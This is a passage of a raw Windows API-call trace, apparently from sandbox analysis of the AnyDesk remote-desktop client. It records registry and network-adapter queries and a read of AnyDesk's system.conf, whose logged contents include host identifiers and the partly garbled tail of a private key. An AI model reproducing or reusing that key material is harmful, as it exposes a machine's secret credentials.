| out: hHeap=0x3b0000) returned 1 [0195.301] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac78 | out: hHeap=0x3b0000) returned 1 [0195.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0195.302] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac78 [0195.302] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ac78, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0195.302] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0195.302] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0195.302] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ac58, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0195.303] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac38 [0195.303] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac38 | out: hHeap=0x3b0000) returned 1 [0195.303] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe582d8 [0195.303] RegQueryValueExW (in: hKey=0x0, lpValueName="features.wol", lpReserved=0x0, lpType=0x340f840, lpData=0x0, lpcbData=0x340f844*=0x0 | out: lpType=0x340f840*=0x0, lpData=0x0, lpcbData=0x340f844*=0x0) returned 0x6 [0195.303] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x340f86c | out: phkResult=0x340f86c*=0x0) returned 0x2 [0195.303] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe582d8 | out: hHeap=0x3b0000) returned 1 [0195.303] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac38 [0195.303] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac38 | out: hHeap=0x3b0000) returned 1 [0195.303] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe582d8 [0195.304] RegQueryValueExW (in: hKey=0x0, lpValueName="features.wol", lpReserved=0x0, lpType=0x340f840, lpData=0x0, lpcbData=0x340f844*=0x0 | out: lpType=0x340f840*=0x0, lpData=0x0, lpcbData=0x340f844*=0x0) returned 0x6 [0195.304] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x340f86c | out: phkResult=0x340f86c*=0x0) returned 0x2 [0195.304] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe582d8 | out: hHeap=0x3b0000) returned 1 [0195.304] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac78 | out: hHeap=0x3b0000) returned 1 [0195.304] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe55258 [0195.304] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0195.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cb4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0195.304] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe550d8 [0195.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cb4, cbMultiByte=-1, lpWideCharStr=0xe550d8, cchWideChar=5 | out: lpWideCharStr="true") returned 5 [0195.304] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550d8 | out: hHeap=0x3b0000) returned 1 [0195.304] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55258 | out: hHeap=0x3b0000) returned 1 [0195.304] LoadLibraryW (lpLibFileName="iphlpapi") returned 0x74830000 [0195.305] GetProcAddress (hModule=0x74830000, lpProcName="GetAdaptersAddresses") returned 0x74836a4d [0195.305] GetProcAddress (hModule=0x74830000, lpProcName="GetIpAddrTable") returned 0x74839bb0 [0195.305] GetAdaptersAddresses (in: Family=0x2, Flags=0xe, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0x340f964*=0x0 | out: AdapterAddresses=0x0, SizePointer=0x340f964*=0x4d8) returned 0x6f [0196.912] GetAdaptersAddresses (in: Family=0x2, Flags=0xe, Reserved=0x0, AdapterAddresses=0x340f440, SizePointer=0x340f964*=0x4d8 | out: AdapterAddresses=0x340f440*(Alignment=0x1000000178, Length=0x178, IfIndex=0x10, Next=0x340f6c0, AdapterName="{68F1467C-143D-484A-87A1-65BCBB1B2D48}", FirstUnicastAddress=0x340f680, FirstAnycastAddress=0x0, FirstMulticastAddress=0x0, FirstDnsServerAddress=0x0, DnsSuffix="", Description="Intel(R) 82574L Gigabit Network Connection #5", FriendlyName="Local Area Connection 5", PhysicalAddress=([0]=0x70, [1]=0xb1, [2]=0x4e, [3]=0x8f, [4]=0x5f, [5]=0xf7, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x3e5, DdnsEnabled=0x3e5, RegisterAdapterSuffix=0x3e5, Dhcpv4Enabled=0x3e5, ReceiveOnly=0x3e5, NoMulticast=0x3e5, Ipv6OtherStatefulConfig=0x3e5, NetbiosOverTcpipEnabled=0x3e5, Ipv4Enabled=0x3e5, Ipv6Enabled=0x3e5, Ipv6ManagedAddressConfigurationSupported=0x3e5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0x10, ZoneIndices=([0]=0x10, [1]=0x10, [2]=0x10, [3]=0x10, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x0, Ipv4Metric=0xa, Ipv6Metric=0xa, Luid=0x600000a000000, Dhcpv4Server.lpSockaddr=0x340f5b8*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11de7039846ee341, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x27, [5]=0xbf, [6]=0xe, [7]=0x9e, [8]=0x0, [9]=0x26, [10]=0x67, [11]=0xd5, [12]=0xc6, [13]=0x31, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x13c89f1d, FirstDnsSuffix=0x0), SizePointer=0x340f964*=0x4d8) returned 0x0 [0196.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac78 [0196.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac38 [0196.920] htonl (hostlong=0xcd00a8c0) returned 0xc0a800cd [0196.920] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac78 | out: hHeap=0x3b0000) returned 1 [0196.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55b40 [0196.920] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac38 | out: hHeap=0x3b0000) returned 1 [0196.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x5c) returned 0xe31b28 [0196.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe55be8 [0196.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55c20 [0196.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x5c) returned 0xe31b90 [0196.921] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe31b28 | out: hHeap=0x3b0000) returned 1 [0196.921] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55b40 | out: hHeap=0x3b0000) returned 1 [0196.921] FreeLibrary (hLibModule=0x74830000) returned 1 [0196.921] LoadLibraryW (lpLibFileName="iphlpapi") returned 0x74830000 [0196.921] GetProcAddress (hModule=0x74830000, lpProcName="GetAdaptersAddresses") returned 0x74836a4d [0196.922] GetProcAddress (hModule=0x74830000, lpProcName="GetIpAddrTable") returned 0x74839bb0 [0196.922] GetIpAddrTable (in: pIpAddrTable=0x0, pdwSize=0x340f964, bOrder=0 | out: pIpAddrTable=0x0, pdwSize=0x340f964) returned 0x7a [0196.928] GetIpAddrTable (in: pIpAddrTable=0x340f810, pdwSize=0x340f964, bOrder=0 | out: pIpAddrTable=0x340f810, pdwSize=0x340f964) returned 0x0 [0196.935] htonl (hostlong=0xffffff) returned 0xffffff00 [0196.935] FreeLibrary (hLibModule=0x74830000) returned 1 [0196.935] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55258 [0196.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe31b90 | out: hHeap=0x3b0000) returned 1 [0196.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c20 | out: hHeap=0x3b0000) returned 1 [0196.937] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55be8 | out: hHeap=0x3b0000) returned 1 [0196.937] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x60) returned 0xe31b90 [0196.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x340f96c | out: lpSystemTimeAsFileTime=0x340f96c*(dwLowDateTime=0x8ee31e30, dwHighDateTime=0x1d8a8f3)) [0196.937] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x27) returned 0xe33648 [0196.937] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1000) returned 0xe4be48 [0196.937] GetLastError () returned 0x0 [0196.937] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe155a0 [0196.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe4be48, cbMultiByte=-1, lpWideCharStr=0xe155a0, cchWideChar=41 | out: lpWideCharStr="35b7d5b77f785bf8ddce4ed7d40c87008941eb4c") returned 41 [0196.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4be48 | out: hHeap=0x3b0000) returned 1 [0196.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33648 | out: hHeap=0x3b0000) returned 1 [0196.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe31b90 | out: hHeap=0x3b0000) returned 1 [0196.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1) returned 0xe4ac38 [0196.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0196.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac78 [0196.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ac78, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0196.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0196.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac28 [0196.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ac28, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0196.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac98 [0196.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0196.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac68 [0196.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ac68, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0196.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac68 | out: hHeap=0x3b0000) returned 1 [0196.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x27) returned 0xe33648 [0196.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe4bba0 [0196.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33648 | out: hHeap=0x3b0000) returned 1 [0196.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac68 [0196.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bbc0 [0196.941] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe582d8 [0196.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac68 | out: hHeap=0x3b0000) returned 1 [0196.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac98 | out: hHeap=0x3b0000) returned 1 [0196.941] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe4bbe0 [0196.941] RegQueryValueExW (in: hKey=0x0, lpValueName="wol.machash", lpReserved=0x0, lpType=0x340f840, lpData=0x0, lpcbData=0x340f844*=0x0 | out: lpType=0x340f840*=0x0, lpData=0x0, lpcbData=0x340f844*=0x0) returned 0x6 [0196.941] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x340f86c | out: phkResult=0x340f86c*=0x0) returned 0x2 [0196.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4bbe0 | out: hHeap=0x3b0000) returned 1 [0196.942] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac98 [0196.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0196.942] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac68 [0196.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ac68, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0196.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac68 | out: hHeap=0x3b0000) returned 1 [0196.942] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x27) returned 0xe33648 [0196.942] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe4bbe0 [0196.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33648 | out: hHeap=0x3b0000) returned 1 [0196.942] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac68 [0196.942] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bc00 [0196.943] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe58300 [0196.943] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac68 | out: hHeap=0x3b0000) returned 1 [0196.943] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac98 | out: hHeap=0x3b0000) returned 1 [0196.943] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe4bc20 [0196.943] RegQueryValueExW (in: hKey=0x0, lpValueName="wol.machash", lpReserved=0x0, lpType=0x340f840, lpData=0x0, lpcbData=0x340f844*=0x0 | out: lpType=0x340f840*=0x0, lpData=0x0, lpcbData=0x340f844*=0x0) returned 0x6 [0196.943] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x340f86c | out: phkResult=0x340f86c*=0x0) returned 0x2 [0196.943] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4bc20 | out: hHeap=0x3b0000) returned 1 [0196.943] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac78 | out: hHeap=0x3b0000) returned 1 [0196.943] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac78 [0196.943] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0196.943] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab38 | out: hHeap=0x3b0000) returned 1 [0196.943] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab38 [0196.943] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac78 | out: hHeap=0x3b0000) returned 1 [0196.944] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3c) returned 0xe10b40 [0196.944] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550d8 [0196.944] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55be8 [0196.944] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe552a0 [0196.944] GetLastError () returned 0x0 [0196.944] GetSystemTime (in: lpSystemTime=0x340f7ac | out: lpSystemTime=0x340f7ac*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x17, wMilliseconds=0x217)) [0196.944] GetCurrentThreadId () returned 0xa0c [0196.944] GetCurrentProcessId () returned 0x994 [0196.945] GetLastError () returned 0x0 [0196.945] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55228 [0196.945] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe4bc20 [0196.945] QueryPerformanceCounter (in: lpPerformanceCount=0x340f7d0 | out: lpPerformanceCount=0x340f7d0*=2583596121624) returned 1 [0196.945] GetCurrentThreadId () returned 0xa0c [0196.945] SwitchToFiber (lpFiber=0x5c4f98) [0196.945] SwitchToFiber (lpFiber=0x5cd7a0) [0196.945] GetTickCount () returned 0x1880f53 [0196.945] GetLastError () returned 0x0 [0196.946] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x214) returned 0xe5c300 [0196.946] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0196.946] GetCurrentThreadId () returned 0xa0c [0196.946] SetLastError (dwErrCode=0x0) [0196.947] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe58328 [0196.947] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe551f8 [0196.947] SwitchToFiber (lpFiber=0x5c4f98) [0196.947] SwitchToFiber (lpFiber=0x5c4c98) [0196.947] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bc40 [0196.947] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bc60 [0196.947] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x46) returned 0xe2fb28 [0196.947] GetTickCount () returned 0x1880f53 [0196.947] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\system.conf" (normalized: "c:\\programdata\\anydesk\\system.conf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0196.947] LockFileEx (in: hFile=0x33c, dwFlags=0x0, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x2a7b5fc | out: lpOverlapped=0x2a7b5fc) returned 1 [0196.948] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2a7b618 | out: lpFileSize=0x2a7b618*=455) returned 1 [0196.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c7) returned 0xe5c520 [0196.948] ReadFile (in: hFile=0x33c, lpBuffer=0xe5c520, nNumberOfBytesToRead=0x1c7, lpNumberOfBytesRead=0x2a7b62c, lpOverlapped=0x0 | out: lpBuffer=0xe5c520*, lpNumberOfBytesRead=0x2a7b62c*=0x1c7, lpOverlapped=0x0) returned 1 [0196.948] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xe5c520, cbMultiByte=455, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 455 [0196.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x390) returned 0xe5c6f0 [0196.948] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xe5c520, cbMultiByte=455, lpWideCharStr=0xe5c6f0, cchWideChar=456 | out: lpWideCharStr="ad.anynet.fpr=9f798b4c7a6e1a608c1a6b55f87e1456ddb10ff2\nad.anynet.relay.fatal_result=1.0\nad.anynet.relay.state=1\nad.security.frontend_clipboard=1\nad.security.frontend_clipboard_files=1\nad.security.frontend_clipboard_version=1\nad.security.permission_profiles._default.permissions.sas=1\nad.security.permission_profiles._unattended_access.permissions.sas=1\nad.security.permission_profiles.version=1\nad.security.update_channel=stable\nad.security.update_type=0\ne૞ꋹꂼ\x06빈äퟰàss1rmXnuKIQ/8RAoGBAJL3EVTt0alBGRdeeLbn\nR7N9Dmqvz8UMuL8k51+2t0tNmrrzNDv1fCjQX912oN5PgFnIG30fg7tVZPhkCo5G\nZO0gCkEO0IApmYQcdSCCtDJYHAessvau3k1q4tcI3BlL7LgDJ5mVWH2/PNalztK/\npNvlzErOkV5fOASeklpwOlTi\n-----END PRIVATE KEY-----\n") returned 455 [0196.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6e) returned 0xe1f868 [0196.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe551e0 [0196.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2fc18 [0196.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55288 [0196.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55c20 [0196.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55210 [0196.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2fd58 [0196.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe552b8 [0196.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe12158 [0196.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe552d0 [0196.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe15fc0 [0196.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe552e8 [0196.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x76) returned 0xe25718 [0196.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55300 [0196.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8a) returned 0xe34ac8 [0196.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55318 [0196.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x54) returned 0xe160e0 [0196.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55330 [0196.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2fda8 [0196.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55348 [0196.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe32a38 [0196.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55360 [0196.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6e) returned 0xe1f958 [0196.949] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1f958 | out: hHeap=0x3b0000) returned 1 [0196.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe58350 [0196.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe58378 [0196.949] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe58350 | out: hHeap=0x3b0000) returned 1 [0196.950] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe15de0 [0196.950] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe16080 [0196.950] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe16020 [0196.950] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16080 | out: hHeap=0x3b0000) returned 1 [0196.950] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15de0 | out: hHeap=0x3b0000) returned 1 [0196.950] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac78 [0196.950] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bc80 [0196.950] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe58350 [0196.950] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac78 | out: hHeap=0x3b0000) returned 1 [0196.951] RtlAllocateHeap (HeapHandle=0x3b0000, 